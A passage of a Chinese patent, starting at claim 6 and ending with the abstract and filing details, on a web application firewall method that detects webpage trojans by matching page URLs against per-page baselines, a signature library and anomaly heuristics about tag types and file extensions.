6.如权利要求4所述的网页挂马检测方法,其特征在于对所述待检测的URL进行异常检测,根据异常检测的结果确定所述待检测的URL的安全级别,具体包括将所述待检测的URL与系统特征库中的恶意URL和/或合法URL进行匹配 如匹配成功,将所述待检测的URL的安全级别确定为匹配到的恶意URL或合法URL的安全级别;如匹配失败,再对所述待检测的URL和/或所述待检测的URL所在标签的代码的形式特征进行检测如检测出系统设定的至少一个异常形式特征,将所述待检测的URL的安全级别确定为检测出的所有异常形式特征各自对应的安全级别中,表示安全程度最低的一个安全级别;如没有检测出系统设定的异常形式特征,将所述待检测的URL的安全级别确定为系统设定的URL不存在异常形式特征时的安全级别。
7.如权利要求6所述的网页挂马检测方法,其特征在于,所述系统设定的异常形式特征包括以下形式特征中的一种或多种待检测的URL不是所在Web页面所属网站的域名或子域名; 待检测的URL所在的标签为script标签,该待检测URL的扩展名非JS ; 待检测的URL所在的标签为link标签,该标签属性的扩展名非.ess ; 待检测的URL所在的标签为img标签,该标签属性的扩展名非图片格式; 待检测的URL所在的标签为frame或iframe标签,该标签属性的扩展名非html,html 格式。
8.如权利要求6所述的网页挂马检测方法,其特征在于,所述基线的建立方式包括以下方式中的一种或多种所述待检测的URL与系统特征库中的合法URL匹配成功时,将所述待检测的URL加入所在Web页面的相应基线中;对所述待检测的URL和/或所述待检测的URL所在标签的代码进行形式特征检测,没有检测出系统设定的异常形式特征时,将所述待检测的URL加入所在Web页面的相应基线中;根据异常检测的结果确定所述待检测的URL不是安全的URL,但经管理员审核后确定所述URL为安全的URL时,将所述URL加入所在Web页面的相应基线中。
9.如权利要求6所述的网页挂马检测方法,其特征在于对所述待检测的URL和/或所述待检测的URL所在标签的代码进行形式特征检测后, 如确定所述待检测的URL不安全,则将所述待检测的URL作为恶意URL加入系统特征库中;或者再经管理员审核确定所述待检测的URL不安全后,将所述待检测的URL作为恶意URL 加入系统特征库中。
10.如权利要求4至9中任一权利要求所述的网页挂马检测方法,其特征在于,还包括对从该Web页面提取的各个标签的代码中包含的URL的安全级别进行检测后,将检测出的安全级别中表示安全程度最低的一个安全级别作为该Web页面与网页挂马相关的安全级别。
11.一种网页木马的检测和防护方法,应用于网络安全防护系统,其特征在于检测出一个Web页面与网页挂马相关的安全等级后,将该Web页面的标识、安全等级和检测时间作为一条记录加入Web页面安全等级表中;如拦截到所述Web页面安全级别表中记录的Web页面时,判断当前时间与上一次对该 Web页面进行网页挂马检测的检测时间之差是否小于设定的检测间隔时间 如是,按照该Web页面的安全级别进行相应的处理; 如否,启动对该Web页面的网页挂马检测,并记录此次检测时间。
12.如权利要求11所述的检测和防护方法,其特征在于如拦截到的Web页面不是所述Web页面安全级别表中记录的Web页面,则启动对该Web 页面的网页挂马检测,并记录此次检测时间
13.如权利要求11或12所述的检测和防护方法,其特征在于所述启动的对该Web页面的网页挂马检测,采用的是如权利要求10所述的网页挂马检测方法。
14.如权利要求13所述的检测和防护方法,其特征在于,还包括检测出Web页面与网页挂马相关的安全等级后,还至少记录该Web页面中不安全的 URL,并将记录的所述URL提供给管理员进行审核;如管理员审核时对记录的所述URL的安全等级进行了调整并导致该Web页面的安全等级发生变化,则对所述Web页面安全等级表中该Web页面的安全等级进行更新。
15.一种网页挂马检测系统,包括提取装置,用于提取Web页面中与网页挂马相关的标签的代码,所述标签的代码中包含待检测的统一资源定位符(URL);匹配装置,用于将所述待检测的URL与相应基线中的URL进行匹配,所述相应基线中至少包含该Web页面中已确定的安全的URL ;第一检测装置,用于在所述匹配装置匹配成功时,确定所述待检测的URL的安全级别为表示URL安全的一个安全级别;第二检测装置,用于在所述匹配装置匹配失败时,对所述待检测的URL进行异常检测, 根据异常检测结果确定所述待检测的URL的安全级别。
16.如权利要求15所述的网页挂马检测系统,其特征在于,所述提取装置包括 注入子装置,用于将一段脚本代码注入拦截到的Web页面,然后将该Web页面发送到客户端;其中,该脚本代码配置为客户端打开注入的Web页面时触发该脚本代码自动运行, 从该Web页面中提取出与网页挂马相关的标签的代码,将提取的标签的代码和该Web页面本身的URL发送到系统,其中,提取的标签的代码包含待检测的URL ; 接收子装置,用于接收和保存客户端发送的所述标签的代码。
17.如权利要求15所述的网页挂马检测系统,其特征在于,所述第二检测装置包括 匹配子装置,用于将所述待检测的URL与系统特征库中的恶意URL和/或合法URL进行匹配第一判定子装置,用于在所述匹配子装置匹配成功时,将所述待检测的URL的安全级别确定为匹配到的恶意URL或合法URL的安全级别; 第二判定子装置,又包括异形检测单元,用于在所述匹配子装置匹配失败时,再对所述待检测的URL和/或所述待检测的URL所在标签的代码的形式特征进行检测第一判定单元,用于在异形检测单元检测出系统设定的至少一个异常形式特征时,将所述待检测的URL的安全级别确定为检测出的所有异常形式特征各自对应的安全级别中, 表示安全程度最低的一个安全级别;第二判定单元,用于在异形检测单元没有检测出异常形式特征时,将所述待检测的URL 的安全级别确定为系统设定的URL不存在异常形式特征时对应的安全级别。
18.如权利要求17所述的网页挂马检测系统,其特征在于,还包括基线建立装置,该基线建立装置又包括以下子装置中的一种或多种第一建立子装置,用于在所述匹配子装置将待检测的URL与系统特征库中的合法URL 匹配成功时,将所述待检测的URL加入所在Web页面的相应基线中;第二建立子装置,用于在所述异形检测单元对待检测的URL和/或待检测的URL所在标签的代码进行形式特征检测,没有检测出系统设定的异常形式特征时,将所述待检测的 URL加入所在Web页面的相应基线中;第三建立子装置,用于在第二检测装置根据异常检测的结果确定待检测的URL不是安全的URL,但经管理员审核后确定所述URL为安全的URL时,将所述URL加入所在Web页面的相应基线中。
19.如权利要求17所述的网页挂马检测系统,其特征在于,还包括特征库建立装置,该特征库建立装置又包括第一建立子装置,用于在第二检测装置对待检测的URL和/或待检测的URL所在标签的代码进行形式特征检测后,如确定所述待检测的URL不安全,则将所述待检测的URL作为恶意URL加入系统特征库中,或者经管理员审核确定所述待检测的URL不安全后,再将所述待检测的URL作为恶意URL加入系统特征库中。
20.如权利要求15至19中任一权利要求所述的网页挂马检测系统,其特征在于 还包括第三检测装置,用于在第一检测装置和/或第二检测装置对从Web页面中提取的各个标签的代码中包含的URL的安全级别进行检测后,将检测出的安全级别中表示安全程度最低的一个安全级别作为该Web页面与网页挂马相关的安全级别。
21.如权利要求15所述的网页挂马检测系统,其特征在于,该网页挂马检测系统是Web 应用防火墙中的一个子系统。
全文摘要
一种网页挂马检测和防护方法、系统及相应代码提取方法,系统将一段用于自动提取标签的脚本代码注入拦截到的Web页面,然后将该Web页面发送到客户端;客户端运行脚本代码,从该Web页面中提取出与网页挂马相关的标签的代码,和该Web页面本身的URL发送到系统;系统可以将待检测的URL与相应基线中安全的URL进行匹配,如匹配失败,还可以对待检测的URL进行异常检测,确定其安全级别。本发明对环境的依赖性小,还可以减少漏报,并有效地提取标签代码。
文档编号H04L12/26GK102546576SQ201010621408
公开日2012年7月4日 申请日期2010年12月31日 优先权日2010年12月31日
发明者叶润国, 肖小剑 申请人:北京启明星辰信息安全技术有限公司, 北京启明星辰信息技术股份有限公司
网友询问留言 已有0条留言
  • 还没有人留言评论。精彩留言会获得点赞!
1